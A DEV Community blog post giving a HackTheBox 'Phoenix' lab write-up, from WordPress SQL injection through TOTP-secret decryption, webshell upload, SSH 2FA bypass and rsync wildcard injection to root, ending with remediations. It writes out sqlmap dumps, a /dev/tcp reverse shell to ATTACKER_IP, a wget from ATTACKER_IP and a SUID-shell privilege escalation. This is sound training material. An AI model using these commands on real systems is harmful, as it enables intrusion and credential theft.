DEV Community

Cover image for HackTheBox: Phoenix Writeup
Yogeshwar Peela
Yogeshwar Peela

Posted on • Originally published at exploitnotes.hashnode.dev

HackTheBox: Phoenix Writeup

Summary

Phoenix is a WordPress box with a long, winding path to root. The short version: an unauthenticated SQL injection in a forum plugin leaks the whole WordPress database, which gives admin credentials and everything needed to defeat the site's two-factor authentication without ever touching a phone or app. From there, a second vulnerable plugin gives code execution and a low-privilege shell. A misconfigured SSH setup (2FA plus an IP allowlist) turns out to have a loophole via a second network interface on the box, which leads to a proper user account. Root comes from reverse engineering a compiled backup script and abusing an old but classic rsync wildcard injection trick to drop a SUID root shell.


Recon

Started with a full port scan:

nmap -A -p- 10.129.x.x -oA nmap
Enter fullscreen mode Exit fullscreen mode
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http     Apache httpd
|_http-title: "Did not follow redirect to https://phoenix.htb/"
443/tcp open  ssl/http Apache httpd
|_http-title: "Did not follow redirect to https://phoenix.htb/"
| ssl-cert: Subject: commonName=phoenix.htb/organizationName=Phoenix Security Ltd.
| http-robots.txt: 1 disallowed entry
|_/wp-admin/
Enter fullscreen mode Exit fullscreen mode

The HTTPS cert and robots.txt both pointed at a hostname, so added it to /etc/hosts:

echo '10.129.x.x phoenix.htb' >> /etc/hosts
Enter fullscreen mode Exit fullscreen mode

robots.txt disallowed /wp-admin/ and pointed at a WordPress sitemap — confirming this is a WordPress site.


Web Enumeration

The site itself is a "Coming Soon" landing page for a fake cybersecurity company (Phoenix Security), with a sign-up/login flow, a blog, and a forum.

Poking at the WordPress sitemap (wp-sitemap-users-1.xml) leaked two usernames via author archive pages — a classic WordPress info-leak:

  • jsmith
  • phoenix

WPScan Enumeration

wpscan --url https://phoenix.htb --disable-tls-checks --api-token <token> -e vt,vp,u
Enter fullscreen mode Exit fullscreen mode

Trimmed output (WPScan's full CVE listing per plugin runs to hundreds of lines — keeping the parts that mattered):

[+] WordPress version 5.9 identified (Insecure, released on 2022-01-25).
 | [!] 37 vulnerabilities identified:
 ...

[+] WordPress theme in use: coming-soon-event
 | Version: 1.0.8 (80% confidence)

[i] Plugin(s) Identified:

[+] accordion-slider-gallery
 | [!] 1 vulnerability identified: Missing Authorization (CVE-2025-62130)

[+] asgaros-forum
 | [!] The version is out of date, the latest version is 3.4.0
 | [!] 12 vulnerabilities identified:
 | [!] Title: Asgaros Forum < 1.15.13 - Unauthenticated SQL Injection
 |     Fixed in: 1.15.13
 |     References: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24827
 | Version: 1.15.12 (10% confidence)

[+] photo-gallery-builder
 | [!] 1 vulnerability identified: Missing Authorization (CVE-2024-49325)

[+] pie-register
 | [!] 22 vulnerabilities identified (multiple CVEs spanning 2013-2026)

[+] timeline-event-history
 | [!] 4 vulnerabilities identified (Object Injection, Stored/Reflected XSS)

[i] User(s) Identified:
[+] John Smith  | Found By: Rss Generator (Passive Detection)
[+] phoenix     | Confirmed By: Author Sitemap
[+] jsmith      | Confirmed By: Author Sitemap
Enter fullscreen mode Exit fullscreen mode

Dead End: Pie Register RCE Attempt

pie-register had a public exploit for an unauthenticated auth-bypass-to-RCE (CVE-2025-34077) that forges a session via the plugin's social-login flow, then uploads a malicious "plugin" ZIP containing a webshell.

Executed the public PoC - it failed with a Python syntax error in the script itself. Manually replayed the HTTP request the exploit makes; no session cookie was ever set, meaning this particular install doesn't behave the way the CVE expects.

The actual reason turned out to be a version mismatch, not just a broken PoC. WPScan couldn't pin an exact Pie Register version and left it as "could not be determined," but checking the page source directly showed the real version in the asset query strings:

<link rel='stylesheet' id='pie_dialog_css-css' href='.../pie-register/assets/css/dialog.css?ver=3.7.2.6' />
Enter fullscreen mode Exit fullscreen mode

So the installed version is 3.7.2.6. CVE-2025-34077's public exploit targets Pie Register <= 3.7.1.4 - a version range this install is already past. The vulnerable code path simply isn't present here. Genuine dead end - dropped it and moved to the next lead rather than sinking more time into it.


Foothold #1: Unauthenticated SQL Injection (Asgaros Forum)

The asgaros-forum version installed matched a known unauthenticated SQL injection: CVE-2021-24827.

Confirmed manually with a time-based payload against the forum's subscribe_topic parameter:

time curl -k 'https://phoenix.htb/forum/?subscribe_topic=1%20union%20select%201%20and%20sleep(10)' > /dev/null
# real 11.24s  <- response time matches the injected sleep()
Enter fullscreen mode Exit fullscreen mode

Automated with sqlmap:

sqlmap -u "https://phoenix.htb/forum/?subscribe_topic=1" \
  --batch -p subscribe_topic --technique=T --time-sec=3 --dbs
Enter fullscreen mode Exit fullscreen mode
[23:17:38] [INFO] GET parameter 'subscribe_topic' appears to be
'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
Parameter: subscribe_topic (GET)
    Type: time-based blind
    Payload: subscribe_topic=1 AND (SELECT 2509 FROM (SELECT(SLEEP(3)))ijUT)
---
back-end DBMS: MySQL >= 5.0.12
available databases [2]:
[*] information_schema
[*] wordpress
Enter fullscreen mode Exit fullscreen mode

Dumping WordPress credentials

sqlmap -u "https://phoenix.htb/forum/?subscribe_topic=1" \
  --batch -p subscribe_topic --technique=T --time-sec=2 \
  -D wordpress -T wp_users -C user_login,user_pass,user_email --dump
Enter fullscreen mode Exit fullscreen mode
Database: wordpress
Table: wp_users
[6 entries]
+------------+-----------------------------------------------+------------------------+
| user_login | user_pass                                     | user_email             |
+------------+-----------------------------------------------+------------------------+
| john       | $P$B8eBH6QfVODeb/gYCSJRvm9MyRv7xz.            | john@domain.htb        |
| Phoenix    | $P$BA5zlC0IhOiJKMTK.nWBgUB4Lxh/gc.            | phoenix@phoenix.htb    |
| Jane       | $P$BJCq26vxPmaQtAthFcnyNv1322qxD91            | jane@phoenix.htb       |
| test       | $P$BRvG7ym.p0pttnKH4t5SOdnbIFiMRI0 (testtest) | a@a.com                |
| Jsmith     | $P$BV5kUPHrZfVDDWSkvbt/Fw3Oeozb.G.            | john.smith@phoenix.htb |
| Jack       | $P$BzalVhBkVN.6ii8y/nbv3CTLbC0E9e.            | jack@phoenix.htb       |
+------------+-----------------------------------------------+------------------------+
Enter fullscreen mode Exit fullscreen mode

Note this kind of time-based blind extraction is slow - dumping this table took roughly 2 hours real time, since every character requires its own HTTP request plus a sleep().

Cracking the hashes

sqlmap automatically saved the raw dump as CSV:

[INFO] table 'wordpress.wp_users' dumped to CSV file
'/root/.local/share/sqlmap/output/phoenix.htb/dump/wordpress/wp_users.csv'
Enter fullscreen mode Exit fullscreen mode

Pulled just the username:hash pairs out of that CSV into a file John can read directly:

awk -F',' 'NR>1 {print $1":"$2}' \
  /root/.local/share/sqlmap/output/phoenix.htb/dump/wordpress/wp_users.csv > wp_hashes.txt
Enter fullscreen mode Exit fullscreen mode

Then ran John against rockyou.txt:

john wp_hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
Enter fullscreen mode Exit fullscreen mode
Loaded 6 password hashes with 6 different salts (phpass [phpass ($P$ or $H$) 256/256 AVX2 8x3])
Cracked 1 password hash (is in /opt/john-bleeding/run/john.pot), use "--show"
phoenixthefirebird14 (Phoenix)
1g 0:00:07:29 ... 4341p/s

[... ran again later, letting it continue against remaining hashes ...]
Cracked 3 password hashes (are in /opt/john-bleeding/run/john.pot), use "--show"
superphoenix     (Jsmit)
password@1234    (john)
Enter fullscreen mode Exit fullscreen mode

Cracked 3 of the 6 total:

user_login password notes
Phoenix phoenixthefirebird14 the admin account
Jsmith superphoenix maps to the editor Linux user
john password@1234 not used further

(A test account also appeared in the dump - that one was self-created earlier while exploring the registration form, not a recovered credential.)


2FA Bypass: Decrypting the Admin's TOTP Secret

Logging in as Phoenix / phoenixthefirebird14 worked, but hit a Validate OTP prompt from the miniorange-2-factor-authentication plugin - a standard TOTP (Time-based One-Time Password) challenge tied to an authenticator app. Guessing or brute-forcing this isn't realistic (codes rotate every 30 seconds and there's only 3 attempts).

Confirming where the TOTP secret lives

Rather than attack the OTP prompt itself, went looking for where the plugin actually stores its 2FA state. Pulled the plugin's local PHP source (the Miniorange_Mobile_Login class) to see how it handles login/verification - this confirmed the general meta-key naming convention the plugin uses (mo_2factor_mobile_registration_status, mo_2factor_map_id_with_email, etc.), all stored per-user in standard WordPress user meta rather than anything external.

This was reinforced by the plugin's own uninstall.php cleanup routine, which lists out essentially every option and user-meta key it ever creates:

<?php
    //delete all stored key-value pairs which are available to all users
        delete_option('mo2f_email');
        delete_option('mo2f_host_name');
        delete_option('mo2f_customerKey');
        delete_option('mo2f_api_key');
        delete_option('mo2f_customer_token');
        ...
        //delete user specific key-value pair
        $users = get_users( array() );
        foreach ( $users as $user ) {
            delete_user_meta($user->ID,'mo_2factor_user_registration_status');
            delete_user_meta($user->ID,'mo_2factor_mobile_registration_status');
            delete_user_meta($user->ID,'mo_2factor_user_registration_with_miniorange');
            delete_user_meta($user->ID,'mo_2factor_map_id_with_email');
        }
?>
Enter fullscreen mode Exit fullscreen mode

This confirms the pattern (mo2f_* for global options, mo_2factor_* / mo2f_* for per-user meta) but doesn't list the specific keys for the soft token / Google Authenticator feature specifically, since that's a separate module not shown in the files reviewed so far. Cross-referenced this naming convention against the plugin's public source mirror (https://github.com/wp-plugins/miniorange-2-factor-authentication/tree/master) to find that module, which pinned down the exact meta keys used for the Google Authenticator secret and its associated encryption key: mo2f_gauth_key and mo2f_get_auth_rnd_string. Confirming these exact names mattered because sqlmap needs a precise meta_key value to filter on with --where.

This also explains the whole approach: since the plugin stores the TOTP seed encrypted, but locally, in the same database already compromised by the SQLi, database access is equivalent to defeating the 2FA entirely - no need to touch the actual OTP-verification flow at all.

Pulling the encrypted secret and its key

sqlmap -u "https://phoenix.htb/forum/?subscribe_topic=1" \
  --batch -p subscribe_topic --technique=BEUT --dbms=mysql --time-sec=2 -o \
  -D wordpress -T wp_usermeta -C meta_value \
  --where "user_id=1 and meta_key='mo2f_gauth_key'" --dump
Enter fullscreen mode Exit fullscreen mode
Database: wordpress
Table: wp_usermeta
[1 entry]
+--------------------------------------------------------------------------------------------------------------+
| meta_value                                                                                                   |
+--------------------------------------------------------------------------------------------------------------+
| qGEPwI6RQBxF4aXM6PVuriofiwCH4mjc4ZjO3jWN5gDDX5MzLHTfDk3tRGK7vwkkTbAjoxNfqFeMjJZoSI5yPF25Hd5b8lSaF/Dpc6WMBTA= |
+--------------------------------------------------------------------------------------------------------------+
Enter fullscreen mode Exit fullscreen mode

Same approach, second key, to get the value needed to decrypt it:

sqlmap -u "https://phoenix.htb/forum/?subscribe_topic=1" \
  --batch -p subscribe_topic --technique=BEUT --dbms=mysql \
  --threads=10 --time-sec=2 -o \
  -D wordpress -T wp_usermeta -C meta_value \
  --where "user_id=1 and meta_key='mo2f_get_auth_rnd_string'" --dump
Enter fullscreen mode Exit fullscreen mode
Database: wordpress
Table: wp_usermeta
[1 entry]
+------------+
| meta_value |
+------------+
| kHHxxX3f   |
+------------+
Enter fullscreen mode Exit fullscreen mode

Decrypting it

The first blob is base64-encoded and looked like an IV + HMAC + AES-CBC ciphertext layout (a pattern common to a lot of WordPress plugins' custom crypto). Wrote a small Python script to decrypt it using the second value as the key:

import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

def decrypt_data(data_b64: str, key: str) -> bytes:
    c = base64.b64decode(data_b64)
    ivlen = 16
    iv = c[:ivlen]
    ciphertext_raw = c[ivlen+32:]  # skip past IV and the 32-byte HMAC

    key_bytes = (key.encode() + b'\x00' * 16)[:16]  # pad/truncate to 16 bytes

    cipher = AES.new(key_bytes, AES.MODE_CBC, iv)
    plaintext = cipher.decrypt(ciphertext_raw)

    try:
        plaintext = unpad(plaintext, AES.block_size)
    except ValueError:
        pass

    return plaintext

print(decrypt_data(
    "qGEPwI6RQBxF4aXM6PVuriofiwCH4mjc4ZjO3jWN5gDDX5MzLHTfDk3tRGK7vwkkTbAjoxNfqFeMjJZoSI5yPF25Hd5b8lSaF/Dpc6WMBTA=",
    "kHHxxX3f"
))
Enter fullscreen mode Exit fullscreen mode
b'PDEEWIVJSIDWS6WO'
Enter fullscreen mode Exit fullscreen mode

That decoded cleanly to a Base32 string — a genuine TOTP secret: PDEEWIVJSIDWS6WO.

Fed that into oathtool to generate a live code:

oathtool -b --totp PDEEWIVJSIDWS6WO
# 923770
Enter fullscreen mode Exit fullscreen mode

Used the generated code alongside the admin credentials and got straight into /wp-admin/ as Phoenix (Administrator).


Foothold #2: RCE via "Download From Files" Plugin

Browsing the plugins list in wp-admin (direct plugin upload was disabled, so no easy ZIP-based shell) turned up one plugin not seen in the earlier WPScan run: Download From Files v1.48.

Found a matching public exploit:

searchsploit download from files
searchsploit -m php/webapps/50287.py
Enter fullscreen mode Exit fullscreen mode

Download From Files <= 1.48 - Arbitrary File Upload abuses an unauthenticated AJAX action to drop an arbitrary file (including a webshell) directly into wp-admin/.

The stock script failed with a TLS error against the self-signed cert, since it never disables certificate verification. Two small changes fixed it:

  1. In vuln_check(), changed:
   response = requests.get(uri)
Enter fullscreen mode Exit fullscreen mode

to:

   response = requests.get(uri, verify=False)
Enter fullscreen mode Exit fullscreen mode
  1. In main(), changed the upload request:
   response = requests.post(uri, files=files, data=data)
Enter fullscreen mode Exit fullscreen mode

to:

   response = requests.post(uri, files=files, data=data, verify=False)
Enter fullscreen mode Exit fullscreen mode
python3 50287.py https://phoenix.htb evil.phtml
# Shell Uploaded!
# https://phoenix.htb/wp-admin/evil.phtml
Enter fullscreen mode Exit fullscreen mode

Confirmed code execution and popped a reverse shell:

curl -k 'https://phoenix.htb/wp-admin/evil.phtml?cmd=id'
# uid=1001(wp_user) ...

curl -k https://phoenix.htb/wp-admin/evil.phtml \
  --data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
Enter fullscreen mode Exit fullscreen mode

Landed as wp_user.


Local Enumeration

Checked /etc/passwd for real login accounts:

root:x:0:0:root:/root:/bin/bash
phoenix:x:1000:1000:Phoenix:/home/phoenix:/bin/bash
editor:x:1002:1002:John Smith,...:/home/editor:/bin/bash
Enter fullscreen mode Exit fullscreen mode

Confirms editor = John Smith = jsmith from the earlier DB dump.

Went back and let John keep cracking the remaining hashes in the background - cracked 2 more (superphoenix for Jsmith, password@1234 for john), giving a usable login: editor / superphoenix.


SSH: Blocked by 2FA and an IP Allowlist

Tried SSH directly:

ssh editor@phoenix.htb
Enter fullscreen mode Exit fullscreen mode

The password was accepted but a Verification code prompt appeared too. This was the second sign (after su phoenix behaving the same way earlier) that 2FA on this box isn't just a WordPress thing - it's enforced at the OS login level as well, for both su and sshd. On Linux, PAM (Pluggable Authentication Modules) is what chains together auth steps like this for system services, so that's where to look next.

Compared the box's /etc/pam.d/sshd against a clean Ubuntu copy to spot the customizations:

diff sshd /etc/pam.d/sshd
Enter fullscreen mode Exit fullscreen mode

Two extra lines stood out:

auth [success=1 default=ignore] pam_access.so accessfile=/etc/security/access-local.conf
auth required pam_google_authenticator.so nullok user=root secret=/var/lib/twofactor/${USER}
Enter fullscreen mode Exit fullscreen mode

So SSH here checks an IP allowlist first, and only falls back to Google Authenticator if that check doesn't already grant success. The allowlist:

+ : ALL : 10.11.12.13/24
- : ALL : ALL
Enter fullscreen mode Exit fullscreen mode

Only logins originating from that specific subnet skip the TOTP prompt entirely.

Checked the box's own network interfaces:

ifconfig
Enter fullscreen mode Exit fullscreen mode

Turns out the box is dual-homed - besides its normal HTB-facing NIC, it also has a second interface sitting right on 10.11.12.13, exactly the allowed range.

SSH'd to that second IP instead of the usual one:

ssh editor@10.11.12.13
Enter fullscreen mode Exit fullscreen mode

This time, only a password prompt - no TOTP challenge. Logged in clean with editor / superphoenix.

User flag: [REDACTED]


Privilege Escalation: Reverse Engineering a Compiled Cron Job

Enumerating the box (linpeas + manual poking) turned up some flagged items:

════════════════════════════╣ Other Interesting Files ╠════════════════════════════
╔══════════╣ .sh files in path
/usr/local/bin/cron.sh.x
/usr/bin/gettext.sh
/usr/bin/rescan-scsi-bus.sh
╔══════════╣ Executable files potentially added by user (limit 70)
2022-02-16+22:27:39.0806206800 /usr/local/bin/cron.sh.x
2021-11-10+10:53:51.2265749210 /etc/console-setup/cached_setup_terminal.sh
2021-11-10+10:53:51.2265749210 /etc/console-setup/cached_setup_keyboard.sh
2021-11-10+10:53:51.2265749210 /etc/console-setup/cached_setup_font.sh
╔══════════╣ Unexpected in root
/backups
╔══════════╣ Modified interesting files in the last 5mins (limit 100)
/backups/phoenix.htb.2026-07-04-06-06.tar.gz
/var/log/journal/16f09a9db470435faa12a4d5167ba486/system.journal
/var/log/auth.log
/var/log/syslog
Enter fullscreen mode Exit fullscreen mode

Two things stood out immediately:

Two things stood out immediately:

  • /backups - flagged by linpeas as "unexpected in root," and one of its files had just been modified in the last 5 minutes: a strong sign of an active, recurring cron job
  • /usr/local/bin/cron.sh.x - an executable, owned by root, sitting outside the usual system paths, last modified back in Feb 2022 (i.e. baked into the box at build time, not something transient)

What is a .sh.x file?

.sh.x is the typical output of SHC (Shell Script Compiler) - a tool that wraps a plain shell script into a compiled binary to hide the source and make it harder to tamper with. Confirmed this by checking the strings inside:

strings /usr/local/bin/cron.sh.x
Enter fullscreen mode Exit fullscreen mode

which showed generic libc symbols and a runtime error string typical of SHC-wrapped binaries (E: neither argv[0] nor $_ works.), rather than anything script-specific.

Watching it run live

Rather than trying to statically decompile the binary, used pspy (a tool that watches running processes without needing root) to catch the script's actual behavior when the cron job fires:

wget http://ATTACKER_IP/pspy64
chmod +x pspy64
./pspy64
Enter fullscreen mode Exit fullscreen mode

Caught the job executing live:

2026/07/04 06:35:34 CMD: UID=1002  PID=35505  | date +%Y-%m-%d-%H-%M
2026/07/04 06:35:34 CMD: UID=1002  PID=35506  | mysqldump -u root wordpress
mysqldump: Got error: 1698: Access denied for user 'root'@'localhost' when trying to connect
2026/07/04 06:35:34 CMD: UID=1002  PID=35507  | tar -cf phoenix.htb.2026-07-04-06-35.tar dbbackup.sql
2026/07/04 06:35:34 CMD: UID=1002  PID=35508  | rm dbbackup.sql
2026/07/04 06:35:34 CMD: UID=1002  PID=35509  | gzip -9 phoenix.htb.2026-07-04-06-35.tar
2026/07/04 06:35:34 CMD: UID=1002  PID=35510  | find . -type f -mmin +30 -delete
2026/07/04 06:35:34 CMD: UID=1002  PID=35511  | rsync --ignore-existing -t phoenix.htb.2026-07-04-06-06.tar.gz
  phoenix.htb.2026-07-04-06-09.tar.gz [...] jit@10.11.12.14:/backups/
Enter fullscreen mode Exit fullscreen mode

(Note: mysqldump -u root fails with an access-denied error, but the script doesn't check for that and keeps going anyway — a small bug, but not the one that matters here.)

Reconstructed the script's logic from this:

#!/bin/sh
NOW=$(date +"%Y-%m-%d-%H-%M")
FILE="phoenix.htb.$NOW.tar"
cd /backups
mysqldump -u root wordpress > dbbackup.sql
tar -cf $FILE dbbackup.sql && rm dbbackup.sql
gzip -9 $FILE
find . -type f -mmin +30 -delete
rsync --ignore-existing -t *.* jit@10.11.12.14:/backups/
Enter fullscreen mode Exit fullscreen mode

This runs as root (confirmed since it can access /backups files owned by root and attempts mysqldump -u root), and the editor user has write access to /backups.

The bug: rsync wildcard injection

The last line is the interesting part:

rsync --ignore-existing -t *.* jit@10.11.12.14:/backups/
Enter fullscreen mode Exit fullscreen mode

The *.* is a shell glob expanded by the script before rsync ever sees it. If a file in that directory has a name that looks like an rsync command-line flag, the shell will happily pass it to rsync as one - a classic wildcard injection vulnerability. rsync supports a -e flag to specify an arbitrary "remote shell" command to run, which is exactly the lever needed here.

Exploiting it

Since editor can write to /backups, dropped a small script there:

cat << 'EOF' > shell.sh
#!/bin/sh
cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash
EOF
chmod +x shell.sh
Enter fullscreen mode Exit fullscreen mode

Then created a file whose name is itself a malicious rsync flag:

touch -- '-e sh shell.sh'
Enter fullscreen mode Exit fullscreen mode

When the cron job's *.* glob expands, this filename gets passed to rsync as -e sh shell.sh - telling rsync to use sh shell.sh as its "remote shell" command, which just runs the script locally as whatever user triggered rsync (root, since the cron job runs as root).

Waited for the next cron run:

watch -n 5 ls -la /tmp/rootbash
Enter fullscreen mode Exit fullscreen mode

A few minutes later:

-rwsr-sr-x 1 root root 1183448 Jul  4 06:48 /tmp/rootbash
Enter fullscreen mode Exit fullscreen mode

A SUID copy of bash, owned by root. Ran it:

/tmp/rootbash -p
whoami   # root
id       # uid=1002(editor) gid=1002(editor) euid=0(root) egid=0(root) groups=0(root),1002(editor)
Enter fullscreen mode Exit fullscreen mode

Root.

cat /root/root.txt
Enter fullscreen mode Exit fullscreen mode

Root flag: [REDACTED]


Key Vulnerabilities & Attack Chain

  1. WordPress username disclosure via the default XML sitemap (wp-sitemap-users-1.xml) - leaked valid usernames for later targeting.
  2. Unauthenticated SQL injection in the Asgaros Forum plugin (CVE-2021-24827) - the single most important vulnerability on the box. Everything downstream (credentials, TOTP bypass) traces back to this.
  3. Weak/reused passwords, crackable with a standard wordlist (rockyou.txt) against the dumped WordPress password hashes.
  4. 2FA implemented at the application layer with secrets stored server-side and readable via SQLi - once the database is compromised, TOTP protection built this way adds no real security, since the seed itself can just be read and used to generate valid codes.
  5. Unauthenticated arbitrary file upload in the Download From Files plugin (v1.48) - straightforward path from admin panel access to full RCE.
  6. SSH 2FA bypass via a misconfigured IP allowlist - the pam_access rule was meant to be a convenience for trusted networks, but it fully skips the TOTP requirement rather than just skipping additional friction, and the box exposes a second interface sitting in that trusted range.
  7. Classic rsync wildcard injection in a root-run cron job - using unquoted, unsanitized glob expansion (*.*) as rsync arguments let a low-privileged but directory-writable user inject a malicious -e flag and get arbitrary command execution as root.

Attack chain:

WordPress sitemap leaks usernames (jsmith, phoenix)
        │
        ▼
Unauthenticated SQLi in Asgaros Forum (CVE-2021-24827)
        │
        ├──► Dump wp_users → crack hashes (rockyou.txt)
        │           │
        │           ▼
        │    Admin credentials: phoenix / phoenixthefirebird14
        │
        └──► Dump wp_usermeta (mo2f_gauth_key + mo2f_get_auth_rnd_string)
                    │
                    ▼
             Decrypt TOTP secret → generate valid OTP (oathtool)
                    │
                    ▼
        Full admin login to /wp-admin/ (2FA bypassed entirely)
                    │
                    ▼
    Unauthenticated arbitrary file upload in Download From Files plugin
                    │
                    ▼
              Webshell → reverse shell as wp_user
                    │
                    ▼
     Crack remaining hashes → editor / superphoenix (maps to jsmith)
                    │
                    ▼
   SSH blocked by PAM (Google Authenticator + pam_access IP allowlist)
                    │
                    ▼
     Box is dual-homed → SSH to internal-only IP (10.11.12.13)
     bypasses the TOTP requirement entirely
                    │
                    ▼
              Shell as editor → user.txt
                    │
                    ▼
   Root-run cron job (cron.sh.x) backs up DB + rsyncs with unquoted
   glob (*.*) → classic wildcard injection via crafted filename
                    │
                    ▼
        SUID bash dropped by root → root.txt
Enter fullscreen mode Exit fullscreen mode

Remediations

  • Fix WordPress username disclosure: disable or restrict the default XML sitemaps (wp-sitemap-users-*.xml), or at minimum don't expose full names/roles via the REST API's /wp-json/wp/v2/users endpoint to unauthenticated requests.
  • Patch/remove Asgaros Forum: update past v1.15.13, or better, remove or firewall off vulnerable plugins entirely if they're not essential. This single SQLi is the root cause of nearly everything else on the box.
  • Enforce strong, unique passwords: none of the cracked passwords should have survived a rockyou.txt pass - a basic password policy plus a check against known-breached password lists would have stopped this.
  • Don't rely on 2FA secrets stored in the same database an app-level vulnerability can already read. If the database is compromised, application-layer TOTP protection backed by DB-stored secrets provides no real additional security. Consider a hardware-backed or externally-hosted 2FA provider, or at minimum encrypt secrets with a key that isn't derivable/co-located with the rest of the compromised data.
  • Patch/remove the Download From Files plugin: this unauthenticated file upload is a straight line from "has admin panel access" to full RCE - no plugin with this kind of unauthenticated write capability should be running in production.
  • Fix the SSH pam_access allowlist logic: an IP-based exception should never fully bypass a second factor - at most it should be one signal among several, not a hard short-circuit. If a trusted internal network genuinely doesn't need 2FA, that's a network segmentation decision, not something that should live inside the same PAM stack as the 2FA enforcement itself.
  • Never expand unsanitized globs into command arguments, especially for privileged (root) scripts. The rsync ... *.* ... pattern should instead pass an explicit, safe argument like -- before the file list (to stop --prefixed filenames being parsed as options), or better, avoid shell globbing into command arguments entirely (e.g. find /backups -maxdepth 1 -type f -print0 | xargs -0 rsync ...).
  • Avoid running scheduled jobs as root when they don't need to be. This backup job didn't need full root — a dedicated low-privilege backup user with only the access it actually needs would have contained this entire escalation path.

Top comments (0)